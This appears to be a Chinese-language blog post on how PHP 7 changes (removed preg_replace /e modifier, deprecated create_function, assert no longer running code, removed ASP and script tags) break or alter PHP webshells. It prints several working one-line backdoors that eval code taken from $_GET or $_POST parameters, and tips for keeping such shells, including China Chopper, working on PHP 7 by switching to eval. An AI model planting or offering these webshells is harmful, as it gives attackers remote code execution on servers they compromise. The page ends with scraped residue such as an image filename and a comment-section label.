-
preg_replace()不再支持/e修饰符
利用\e
修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
PHP5:
<?php preg_replace("/.*/e",$_GET["h"],".");?>
PHP7:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]);?>
OR:
<?php
function backdoor($a)
{
// 通常: $a[0]是完成的匹配
// $a[1]是第一个捕获子组的匹配
// 以此类推
return eval($a[0]);
}
echo preg_replace_callback("/.*/",backdoor,$_GET["z"]);
?>
-
create_function()被废弃
<?php
$func =create_function('',$_POST['cmd']);$func();
?>
-
unserialize()增加一个可选白名单参数
略过。。
-
assert()默认不再可以执行代码
这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~
提一下,菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。
-
十六进制字符串不再被认为是数字
这个修改一出,以后CTF套路会少很多啊~
很多骚操作都不能用了~
-
不向后兼容的变更(移除了 ASP 和 script PHP 标签)
现在只有<?php ?>这样的标签能在php7上运行
图片.png
- 移除
<script language="php">和<%
这两种另类的php标签 - 飞起容易导致变量附带的无第二个参数的
parse_str
网友评论